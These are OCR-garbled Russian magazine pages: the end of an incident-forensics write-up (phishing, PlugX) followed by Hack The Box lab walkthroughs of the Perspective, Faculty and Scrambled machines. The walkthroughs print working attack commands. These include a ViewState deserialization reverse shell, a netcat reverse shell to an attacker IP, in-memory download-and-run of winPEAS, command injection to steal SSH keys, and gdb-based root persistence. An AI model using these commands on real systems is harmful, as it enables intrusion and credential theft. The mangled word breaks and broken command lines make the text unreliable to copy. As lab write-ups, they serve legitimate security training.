ные фай лы, что бы их выг рузить. Пос мотрим, как зло умыш ленник выг ружал
фай лы со ском про мети рован ной сис темы. Най дем все фай лы с рас ширени ями
.zip и .rar. При поис ке архи вов RAR находим файл .report.rar

strings -el 3056.dmp | grep reports.rar  -B 3 -A 3

Ре зуль тат поис ка фай ла report.rar

Па роль выг ружа емых дан ных — .password1234
Под водим ито ги.
04.06.2016 в 13:35:13 (UTC) на поч товый адрес 

 от  пос тупило фишин говое сооб щение,

в которое вло жен документ. Этот документ содер жит экс пло ит CVE-2010-
3333, в резуль тате запус ка которо го про изош ла ком про мета ция компь юте ра.
Далее на ском про мети рован ный компь ютер уста нов лен вре донос ный обра зец
семей ства PlugX с управля ющим сер вером . Пос ле получе ния
дос тупа зло умыш ленни ки начали выг ружать докумен ты в запаро лен ном архи ве
и для даль нейше го зак репле ния на сер верах орга низа ции попыта лись заг -
рузить модуль linuxav.deb.

scot.knowles@e-corp.
biz lloydchung@allsafecybersec.com

52.90.110.169

ÂÛÂÎÄÛ

Итак, мы вос ста нови ли дей ствия зло умыш ленни ка. Ком про мета ция сети про -
изош ла 04.10.2016 в 12:02 (UTC). С поч тового сер вера  на элек -

трон ные поч товые адре са поль зовате лей  и 

 пос тупили вре донос ные сооб щения. В качес тве вло -
жения исполь зовал ся документ с рас ширени ем .doc, содер жащий мак рос
на Visual Basic, и документ RTF с внед ренным экс пло итом. Рас сылка шла
с поч тового сер вера .

31.6.35.122
philip.price@e-corp.biz scot.

knowles@e-corp.biz

31.6.35.122
Ког да поль зователь открыл заражен ный документ, на ском про мети рован -

ный компь ютер WIN-191HVE3KTLO заг рузилось средс тво уда лен ного адми нис -
три рова ния TeamViewer, а на хост WIN-KMUKM7JPN9D — вре донос ный обра -
зец семей ства PlugX. Пос ле получе ния кон тро ля над сетью орга низа ции зло -
умыш ленни ки пот ребова ли выкуп в раз мере пяти бит коинов.

https://www.virustotal.com/gui/file/f670b00374bffce3eb4b08c0b74b6b4fbfa13581fa2fc43b5372e967ba134d6d/detection
https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/sophosrichtextformatmanipulationstpna.pdf
https://www.virustotal.com/gui/file/0f0a7d189ef514f97279ef24194c08ea5c99dd39a9d7af486ea8aedb68e0f18b
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ВЗЛОМ

Се год ня я покажу, как повысить при виле -
гии в сис теме с помощью ата ки Padding
Oracle. На пути к ней мы ата куем механизм
сме ны пароля на сай те, обой дем XSS-
филь тры и исполь зуем уяз вимость
в механиз ме сери али зации дан ных.

Про ходить будем «безум ный» по слож ности тре ниро воч ный стенд Perspective
с пло щад ки .Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в , что бы было удоб нее обра щать ся

к ней:

/etc/hosts

10.10.11.151    perspective.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел два откры тых пор та: 22 — служ ба OpenSSH for Windows и 80 —
веб-сер вер Microsoft IIS 10.0. Кро ме как с веб-сер вером, работать пока не с
чем.

Глав ная стра ница сай та perspective.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те мож но зарегис три ровать ся и авто ризо вать ся. Сра зу сде лаем это, так
как зарегис три рован ным поль зовате лям дос тупно боль ше фун кций, а зна чит,
будет боль ше мест для тес тирова ния.

Глав ная стра ница зарегис три рован ного поль зовате ля

На сай те есть воз можность соз давать и прос матри вать про дук ты. Но что более
инте рес но, мы находим поч товый адрес адми на, а так же воз можность сбра -
сывать пароль.

Фор ма сбро са пароля

Пос ле вво да поч тового адре са нам зада ют воп росы, отве ты на которые мы
ука зыва ли при регис тра ции. При чем, если мы ука зыва ем поч товый адрес
адми на, вмес то воп росов отоб ража ется сооб щение о том, что сброс пароля
адми нис тра тора не вклю чает сек ретные воп росы и про цеду ра недос тупна.

Фор ма с сек ретны ми воп росами

Но если перех ватить зап рос на сброс пароля пос ле отве та на воп росы, мож но
уви деть, что, помимо про чего, на сер вер переда ется и поч товый адрес.

Пе рех вачен ный зап рос на сброс пароля

Я изме нил свой поч товый адрес на  и все рав но

получил новую фор му, в которой нуж но ука зать новый пароль. Мало того,
пароль мож но уста новить!

admin@perspective.htb

Фор ма вво да нового пароля

Со обще ние об успешном изме нении пароля

Ав торизу емся от име ни адми на и получа ем дос туп к админ ской панели.

Глав ная стра ница адми нис тра тора

ÒÎ×ÊÀ ÎÏÎÐÛ

Ад мин может смот реть про дук ты дру гих поль зовате лей, для это го дос таточ но
ука зать имя поль зовате ля или поч товый адрес.

Про дук ты поль зовате ля

Вдо бавок к это му мож но ска чать PDF со спис ком про дук тов. В нем все то же
самое, что и на сай те.

Сге нери рован ный PDF-документ

Тог да перей дем обратно к соз данно му акка унту и поп робу ем добавить про -
дукт. Для про дук та мож но ука зать изоб ражение — это очень инте рес ный
момент, так как это изоб ражение (точ нее, файл) будет встав лено в PDF. Зна -
чит, мож но поп робовать под клю чить файл SHTML, что при его вклю чении в PDF
поз волит получить содер жимое про изволь ного фай ла с дис ка. Давай соз дадим
SHTML, который заг рузит файл кон фигура ций :web.config

<!--#include file="../web.config"-->

Па нель добав ления про дук та

Но при заг рузке такого фай ла сер вер выдаст ошиб ку — заг ружать мож но толь -
ко изоб ражение. Это мож но обой ти, если в  испра вить содер -

жимое HTTP-заголов ка  обратно на .

Burp Proxy

Content-Type image/jpeg

Зап рос на сер вер в Burp Proxy

В  обна ружим зап рос к SHTML и кон фигура ции в отве те.Burp History

Зап рос в Burp History

Из инте рес ного отме чаем сер вис на пор те 8000, дос тупный для локаль ного
хос та, а так же зашиф рован ный пароль.

Со дер жимое фай ла web.cong

XSS

Так как есть про межу точ ный сер вис обра бот ки и пре обра зова ния вве ден ных
нами дан ных, сле дует поис кать дру гие уяз вимос ти, которые помогут эксфиль -
тро вать дан ные с внут ренне го сер вера на пор те 8000. И натыка емся на филь тр
XSS.

Со обще ние об обна руже нии вре донос ной активнос ти

Так как исполь зуют ся филь тры, сто ит переб рать воз можные вари анты наг -
рузок. Это поможет най ти наг рузку, обхо дящую филь тры. Перех ватыва ем зап -
рос в Burp Proxy и перенап равля ем в  (ком бинация кла виш Ctrl-I,
Ctrl-Shift-I).

Burp Intruder

Burp Intruder — вклад ка Positions

В опци ях добавим параметр Grep — Extract и выберем опоз наватель ную стро -
ку, которая будет сооб щать об обна ружен ной ата ке.

Burp Intruder — вклад ка Options (параметр Grep — Extract)

Эта опция добавит в резуль тат перебо ра еще один стол бец, который отоб -
разит воз вра щен ное сер вером сооб щение. Так мы быс тро отфиль тру ем наг -
рузки, которые обхо дят филь тр. Для перебо ра я взял  с гит хаба
Payload Box.

го товый спи сок

Ре зуль тат перебо ра наг рузок

В резуль тате находим немало вари антов для экс плу ата ции XSS. Оста новим ся
на исполь зовании тега :meta

  <META HTTP-EQUIV="refresh" CONTENT="0;url=http://10.10.14.58:8000/
test.html">

Эта наг рузка дол жна вклю чить в отчет стра ницу  с нашего сер вера.

Для тес та откро ем на локаль ном хос те порт 8000 и отпра вим наг рузку.

test.html

Про вер ка уяз вимос ти XSS

Ло ги лис тенера netcat

Зап рос при шел, а зна чит, сер вис уяз вим!

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/payloadbox/xss-payload-list/blob/master/Intruder/xss-payload-list.txt
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Те перь перей дем к содер жимому под клю чаемо го фай ла. В нашем HTML-фай -
ле будем исполь зовать тег  для заг рузки и отоб ражения сер виса
на пор те 8000.

iframe

 <iframe src="http://localhost:8000/"></iframe>

Ге нери руем PDF и видим в нем нуж ную нам стра ницу.

Сге нери рован ный PDF-файл

Стра ница пол ностью не помес тилась во фрейм, поэто му зададим ему раз -
меры.

   <iframe src="http://localhost:8000/" height="2500px" width=
"2500px"></iframe>

Сге нери рован ный PDF-файл

Те перь можем разоб рать содер жимое стра ницы. Видим фун кции 
и , а так же ссыл ку на скрипт. Прос мотрим код ука зан ного JS-фай ла.

encrypt
decrypt

  
 

<iframe src="http://localhost:8000/swagger/v1/swagger.json"
height="2000px" width="2000px"></iframe>

Со дер жимое стра ницы swagger.json

При обра щении к стра нице  нуж но пре дос тавить параметр
. Теперь мы можем поп робовать рас шифро вать получен ный

из фай ла  параметр .

decrypt
cipherTextRaw

web.config ViewStateUserKey
Что бы отпра вить дан ные и получить ответ, нуж но усложнить вклю чаемый

нами файл HTML. Для это го соз дадим и запол ним фор му, отправ лять которую
будем с помощью JavaScript, а резуль тат помес тим в .iframe

<html>
<body>

    <form id="expl" target="iframe" method="post" action="http://
localhost:8000/
decrypt?cipherTextRaw=ENC1%3a3UVxtz9jwPJWRvjdl1PfqXZTgg%3d%3d">

 <input type="text">
</form>

 <iframe name="iframe"></iframe>
<script type="text/javascript">document.getElementById('expl').
submit();</script>
</body>
</html>

Рас шифро ван ный параметр ViewStateUserKey

Те перь, ког да мы име ем , сле дует поп робовать получить

RCE через сери али зацию .NET. Веб-при ложе ния ASP.NET исполь зуют
 для кон тро ля сос тояния стра ницы и сох ранения дан ных в фор мах.

И поэто му есть воз можность запус тить код на веб-сер вере, если получит ся
под делать . А для это го нам и нуж ны зна чения ,

 и .

ViewStateUserKey

ViewState

ViewState ViewStateUserKey
validationAlg validationKey

Дан ные validationalg и validationkey

Те перь с помощью  сге нери руем реверс-шелл.
Нуж но ука зать хост и порт для обратно го под клю чения.

Online Reverse Shell Generator

Сге нери рован ный реверс-шелл

Се риали зовать дан ные мы можем с помощью .ysoserial

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c 
"powershell -e JABjA...AKAApAA==" --generator=0414C274 
--validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" 
--validationkey="99F110...B52BF"

Се риали зация дан ных

Те перь отправ ляем получен ные дан ные в парамет ре  и получа ем

бэк коннект.

__VIEWSTATE

Экс плу ата ция уяз вимос ти

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Для удоб ного дос тупа к хос ту мы можем выяс нить при ват ный ключ SSH поль -
зовате ля и уже с ним получить ста биль ную коман дную обо лоч ку.

SSH-ключ поль зовате ля

Для раз ведки на хос те я решил исполь зовать , но стол кнул ся с тем,

что, если попытать ся заг рузить на хост исполня емый файл, его уда лит анти -
вирус.

WinPEAS

Пос коль ку мы име ем дело с .NET, сбор ку фай ла мож но выпол нить
из памяти с помощью PowerShell, без заг рузки фай ла на диск. Сна чала коман -
дой  запус тим прос той веб-сер вер, а затем

заг рузим сбор ку в память и выпол ним.

python3 -m http.server 8000

powershell -c $wp=[System.Reflection.Assembly]::Load([byte[]](
Invoke-WebRequest "http://10.10.14.82:8000/wp.exe" 
-UseBasicParsing | Select-Object -ExpandProperty Content)); [
winPEAS.Program]::Main("")

В спис ке откры тых пор тов най дем нетипич ный для Windows порт 8009.

Спи сок прос лушива емых пор тов

Что бы зай ти на него через бра узер, нам нуж но про кинуть порт. Сде лать
это мож но средс тва ми SSH.

ssh -i id_rsa webuser@perspective.htb -L 8009:127.0.0.1:8009

Та ким обра зом, весь тра фик, который мы отпра вим на локаль ный порт 8009,
будет тун нелиро ван на порт 8009 ука зан ного хос та (в дан ном слу -
чае 127.0.0.1) через SSH-хост. Теперь под клю чим ся к пор ту и най дем там уже
зна комый сайт.

Глав ная стра ница локаль ного сай та

Поп робу ем при выч ным обра зом изме нить пароль, но в этот раз что-то не так.

Дан ные, отправ ляемые при сме не пароля поль зовате ля

Поп робу ем поиг рать с токеном, к при меру добавить нес коль ко сим волов
или изме нить сущес тву ющие. Получа ем сооб щения об ошиб ках, которые
говорят о наличии блоч ного шиф ра.

Ошиб ка дли ны пос ледова тель нос ти

Ошиб ка невер ного допол нения

Здесь мы можем поп робовать при менить тех нику Padding Oracle, но спер ва
взгля нем на сам про ект. Если обра тить ся к пути про екта, уви дим заг лушку.

Ошиб ка 404

Из фай ла  узна ем, что исполь зует ся алго ритм шиф рования AES.web.config

Со дер жимое фай ла web.cong

Но боль ший инте рес пред став ляет фун кция про вер ки пароля вот в этом фай ле:

C:\WEBAPPS\PartImages_Staging\handlers\changePassword.ashx

Со дер жимое фай ла changePassword.ashx

Пос ле рас шифров ки токен тоже переда ется прог рамме .

Если мы смо жем манипу лиро вать токеном до шиф рования, то выпол ним инъ -
екцию коман ды ОС. Тут и перей дем к ата ке Padding Oracle.

PasswordReset.exe

Padding Oracle

Эта ата ка при мени ма к шиф рованию CBC, в котором сооб щение раз бива ется
на бло ки дли ной X байт и каж дый блок ксо рит ся с пре дыду щим зашиф рован -
ным бло ком. Затем резуль тат шиф рует ся. Что очень важ но, шиф рование
выпол няет ся бло ками фик сирован ного раз мера.

Что бы гаран тировать точ ное раз мещение откры того тек ста в одном
или нес коль ких бло ках, час то исполь зует ся допол нение (padding). Это допол -
нение может быть выпол нено нес коль кими спо соба ми, самый рас простра нен -
ный — PKCS7. В PKCS7 допол нение будет сос тоять из одно го и того же чис -
ла — количес тва недос тающих бай тов. Нап ример, если в откры том тек сте
отсутс тву ет два бай та, запол нение будет .\x02\x02

Суть ата ки зак люча ется в том, что мы, манипу лируя дан ными и получая
информа цию о вер ности допол нения, можем рас крыть весь исходный текст.
Очень под робно о теории этой ата ки мож но про читать на «Хаб рахаб ре»
в статье « » и 

.
Padding Oracle Attack, или почему крип тогра фия пуга ет ее про дол -

жении
Мы же будем исполь зовать готовый скрипт . Ука зыва ем сле -

дующие парамет ры:

PadBuster

URL;•
са му пос ледова тель ность;•
раз мер бло ка;•
от вет, говоря щий об ошиб ке;•
текст, который нуж но зашиф ровать.•

В качес тве наг рузки для инъ екции коман ды исполь зуем обыч ный реверс-шелл.
Это будет заранее заг ружен ный :netcat

n.exe -e cmd.exe 10.10.14.84 4321

В качес тве раз делите ля исполь зуем амперсанд:

 
padbuster http://127.0.0.1:8009/handlers/changePassword.ashx 
lhi98x_p_eJ1C5zt7w-8ogpurkeg36_bk0Vq9cyC5yI 16 -post
'password1=rrRR11!!&password2=rrRR11!!&
token=lhi98x_p_eJ1C5zt7w-8ogpurkeg36_bk0Vq9cy

  4  
  

C5yI' -encoding -error 'Padding is invalid and cannot be 
removed.' -plaintext 'r & C:\Temp\n.exe -e cmd.exe 10.10.14.84 
4321'

Но вый токен

В ито ге у нас есть новый токен. Исполь зуем его на сай те и получа ем бэк -
коннект на откры тый лис тенер ( ).rlwrap nc -lnvp 4321

Флаг рута

Ма шина зах вачена!

https://www.revshells.com/
https://github.com/pwntester/ysoserial.net
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
https://habr.com/ru/post/247527/
https://habr.com/ru/post/338072/
https://github.com/AonCyberLabs/PadBuster


АТАКУЕМ ВЕБ-СЕРВЕР
ЧЕРЕЗ MPDF И ПОВЫШАЕМ
ПРИВИЛЕГИИ С ПОМОЩЬЮ

LINUX CAPABILITIES

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как исполь зовать
обход авто риза ции через SQL-инъ екцию,
затем мы про экс плу ати руем mPDF
и повысим при виле гии на сер вере через
сис тему Linux capabilities, а кон крет но —
через воз можность .cap_sys_ptrace

По лиро вать свои навыки мы будем при помощи тре ниро воч ного стен да Faculty
с пло щад ки . Уро вень слож ности заяв лен как сред ний.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.169    faculty.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Стра ница авто риза ции faculty.htb

Ñêàíèðîâàíèå âåá-êîíòåíòà
Поп робу ем поис кать скры тые катало ги и фай лы при помощи .ffuf

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе ния —
это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле -
дующие парамет ры:

ffuf

 — URL;• -u
 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — выпол нять редирек ты;• -r

 — филь тро вать стра ницы по раз меру.• -fs

За пус каем с нуж ными парамет рами:

ffuf     
256

-u 'http://faculty.htb/FUZZ' -r -w php_files_common.txt -t

Ре зуль тат ска ниро вания PHP-фай лов

Ни чего инте рес ного не находим, поэто му прой дем ся по дос тупным катало гам.

ffuf    
 256

-u 'http://faculty.htb/FUZZ' -r -w directory_2.3_medium.txt 
-t

Ре зуль тат ска ниро вания катало гов

На ходим каталог  и пов торя ем ска ниро вание фай лов в нем.admin

Ре зуль тат ска ниро вания PHP-фай лов

ffuf    
 256

-u 'http://faculty.htb/admin/FUZZ' -r -w php_files_common.
txt -t

Са мая инте рес ная из най ден ных стра ниц — авто риза ция для адми нов.

Стра ница авто риза ции адми нис тра тора

ÒÎ×ÊÀ ÂÕÎÄÀ
Ра ботать с вебом я рекомен дую через . Пос мотрим зап рос и ответ

при авто риза ции. Узна ем, что в слу чае невер ной пары из логина и пароля
в отве те прос то получим циф ру 3.

Burp Proxy

От вет сер вера при авто риза ции

Ес ли есть фор ма авто риза ции, зна чит, нуж но поп робовать все вари анты ее
обхо да. Я это делаю по сло варю с помощью .Burp Intruder

Burp Intruder — вклад ка Payload Positions

На ходим нес коль ко наг рузок c вари анта ми отве та 3. При этом ошиб ка SQL
рас кры вает путь к фай лу.

Ре зуль тат перебо ра

Так же при сутс твуtт ответ 1. Ско рее все го, это показа тель успешной авто риза -
ции.

Ре зуль тат перебо ра (про дол жение)

Ис поль зуем най ден ную наг рузку и заходим на сайт.

Глав ная стра ница авто ризо ван ного поль зовате ля

Пос мотрим, что здесь есть инте рес ного. К при меру, уяз вимой может быть тех -
нология фор мирова ния отче та в фор мате PDF.

Спи сок кур сов

Сге нери рован ный PDF-документ

Сно ва смот рим цепоч ку зап росов в . Видим, что отправ ляет ся зап -
рос с парамет ром , где переда ются закоди рован ные в Base64 дан ные.

Затем нас редирек тит на стра ницу .

Burp Proxy

pdf
/mpdf/tmp/<doc>.pdf

Зап рос на заг рузку докумен та

Burp Inspector поз воля ет нам авто мати чес ки декоди ровать эти дан ные.

Де коди рова ние дан ных

Ви дим, что переда ется таб лица в HTML. Ско рее все го, исполь зует ся какая-то
уже готовая тех нология пре обра зова ния фор мата, а в пути ука зан каталог .
Тог да я решил най ти эту тех нологию по клю чево му сло ву. Одна ко сра зу же
нашел готовый экс пло ит.

mpdf

По иск экс пло ита

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists


АТАКУЕМ ВЕБ-СЕРВЕР
ЧЕРЕЗ MPDF И ПОВЫШАЕМ ПРИВИЛЕГИИ С

ПОМОЩЬЮ LINUX CAPABILITIES

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
Уяз вимость в mPDF поз воля ет получать про изволь ные фай лы с уда лен ного
хос та в качес тве вло жения в сге нери рован ном PDF-докумен те. Сос тавим наг -
рузку, исполь зовав . Для тес та поп робу ем про читать файл

.
най ден ный экс пло ит

/etc/passwd

Сос тавле ние наг рузки

По лучен ную наг рузку отправ ляем в парамет ре .pdf

От прав ка зап роса в Burp Repeater

В отве те получа ем имя соз данно го фай ла. В адресной стро ке на стра нице
получен ного ранее докумен та заменя ем имя фай ла. В новом фай ле видим
вло жение ./etc/passwd

Сге нери рован ный PDF

Со дер жимое вло жения /etc/passwd

Так как мы получи ли воз можность читать фай лы, теперь нуж но получить файл
с важ ными дан ными. К при меру, это может быть файл с нас трой ками для под -
клю чения к базе дан ных. До это го при ска ниро вании мы обна ружи ли

, а путь к катало гу, где он содер жится, рас кры ла получен ная
ранее ошиб ка SQL. Генери руем новую наг рузку для такого пути:
db_connect.php

/var/www/scheduling/admin/db_connect.php

От прав ляем ее и во вло жении сге нери рован ного PDF видим учет ные дан ные.

Со дер жимое фай ла db_connect

Бе рем пароль для под клю чения к базе дан ных, а имя поль зовате ля — из фай ла
 и авто ризу емся по SSH.passwd

Сес сия поль зовате ля gbyolo

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь, ког да мы получи ли дос туп к хос ту, нуж но соб рать информа цию
для даль нейше го прод вижения. Я для это го исполь зую скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль зовате -
ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий может быть
очень мно го, как в Linux, так и в Windows. Что бы соб рать информа цию
и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему на авто мате.
Privilege Escalation Awesome Scripts

SUITE

Заг рузим скрипт на хост, дадим пра во на выпол нение и запус тим ска ниро -
вание. Из вывода скрип та узна ем, что он не смог получить нас трой ки sudoers,
так как тре бует ся ввес ти пароль, а так же у отладчи ка GDB дол жна быть сис -
темная воз можность .cap_sys_ptrace

Нас трой ки sudoers

Linux capabilities

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Так как нас трой ки sudoers мы не получи ли, зап росим их вруч ную и вве дем
пароль.

sduo -l

Нас трой ки судо ера

Ока зыва ется, мы можем выпол нить коман ду 

от име ни поль зовате ля . Я сра зу решил поис кать пуб личные экс пло -
иты. В этом нам поможет Google.

/usr/local/bin/meta-git
developer

По иск экс пло итов для meta-git

В ито ге обна ружил ся  на HackerOne, где опи сан спо соб
получить уда лен ное выпол нение кода. Как ска зано в отче те, поль зователь ский
ввод без пред варитель ной про вер ки исполь зует ся при фор мирова нии
и выпол нении коман ды ОС, поэто му мы можем устро ить инъ екцию. Для тес та
выпол ним коман ду .

пуб личный отчет

id

 sudo -u developer /usr/local/bin/meta-git clone 'qweqwe | id'

Вы пол нение коман ды id

Ко ман да выпол няет ся, давай поп робу ем получить при ват ный ключ поль зовате -
ля, если такой име ется.

 sudo -u developer /usr/local/bin/meta-git clone 'qweqwe | cat /
home/developer/.ssh/id_rsa'

При ват ный ключ SSH

По луча ем ключ, коман дой  наз нача ем нуж ные пра ва и под -

клю чаем ся как поль зователь .

chmod 0600 id_rsa
developer

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Ко ман да  показа ла, что мы находим ся в груп пе , при этом не забыва ем
про воз можность  у фай ла gdb.

id debug
cap_sys_ptrace

В Linux поль зователь root получа ет осо бый кон текст при запус ке любых про -
цес сов. Так, ядро и при ложе ния, работа ющие от име ни root, обыч но про пус -
кают любые огра ниче ния, задан ные на дей ствия в опре делен ном кон тек сте,
поэто му root может делать все, что захочет. Но что, если опре делен ному про -
цес су, который работа ет в неп ривиле гиро ван ном кон тек сте, нуж но выпол нить
тре бующее при виле гий дей ствие, не повышая уров ня прав?

Нап ример, быва ет нуж но раз решить про цес су записы вать в жур нал ауди та
ядра, но не поз волять отклю чить этот аудит. Ведь если запус тить этот про цесс
в кон тек сте рута, он смо жет выпол нить оба дей ствия!

Тут на помощь и при ходят Linux capabilities. Эти «воз можнос ти» пре дос -
тавля ют про цес су не все мно жес тво при виле гий, а какое-то его под мно жес тво.
Дру гими сло вами, все при виле гии рута раз бива ются на более мел кие незави -
симые друг от дру га при виле гии и про цесс получа ет толь ко те, которые ему
нуж ны.

 поз воля ет трас сировать про изволь ные про цес сы с помощью

. А в сочета нии с груп пой  мы смо жем отла дить с помощью GDB

любой при виле гиро ван ный про цесс. И в спис ке про цес сов отме чаем работа -
ющий .

cap_sys_ptrace
ptrace debug

python3

ps aux

Спи сок про цес сов

Под клю чим ся к нему с помощью .gdb

gdb  706-p

От ладка работа юще го про цес са

А теперь попыта емся выпол нить коман ду с помощью фун кции . Поп -

робу ем соз дать файл в домаш нем катало ге поль зовате ля.

system

call void( )system("touch /home/developer/qweewqqweewq")

Вы пол нение коман ды

Спи сок фай лов в домаш нем катало ге поль зовате ля

Ко мандf выпол нена, исполь зуем один из методов пер систен тнос ти. К при -
меру, запись пуб лично го клю ча SSH в файл . Спер ва соз -
дадим каталог , а затем ско пиру ем ключ уже име юще гося у нас поль -

зовате ля.

authorized_keys
.ssh

call void( )system("mkdir /root/.ssh")
call void( )system("cp /home/developer/.ssh/id_rsa.pub /root/.ssh/
authorized_keys")

За пись SSH-клю ча

Под клю чаем ся с помощью при ват ного клю ча и забира ем флаг.

Флаг рута

Ма шина зах вачена!

https://vulners.com/zdt/1337DAY-ID-37881
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://hackerone.com/reports/728040


ПРИМЕНЯЕМ
ASREPROAST И KERBEROASTING

ДЛЯ АТАКИ НА SMB И MS SQL

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В сегод няшнем рай тапе я покажу, как ата -
ка ASREPRoast поз воля ет получить тикет
для служ бы MS SQL. Дан ные из базы
помогут нам в прод вижении, а для
повыше ния при виле гий заюзаем уяз -
вимость при исполь зовании сери али -
зации.

На ша цель — зах ват тре ниро воч ной машины Scrambled с пло щад ки 
.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в , что бы к ней было удоб нее обра -

щать ся:

/etc/hosts

10.10.11.168    scrambled.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш лось мно го откры тых пор тов, что типич но для Windows:
53 — служ ба DNS;•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC), исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
1433 — СУБД Microsoft SQL Server 2019;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

4411 — какое-то поль зователь ское при ложе ние;•
5985 — служ ба WinRM;•
9389 — веб-служ бы AD DS.•

Все перечис ленные служ бы Microsoft пока что ничего нам дать не могут,
поэто му пер вым делом смот рим сайт.

Стра ница IT Services

Сра зу отме чаем полез ную информа цию: аутен тифика ция NTLM отклю чена.

ÒÎ×ÊÀ ÂÕÎÄÀ

OSINT

На одной из стра ниц находим скрин шот кон соли, а в нем вид но поль зовате ля
ksimpson. Это очень важ ная информа ция!

Стра ница Reports

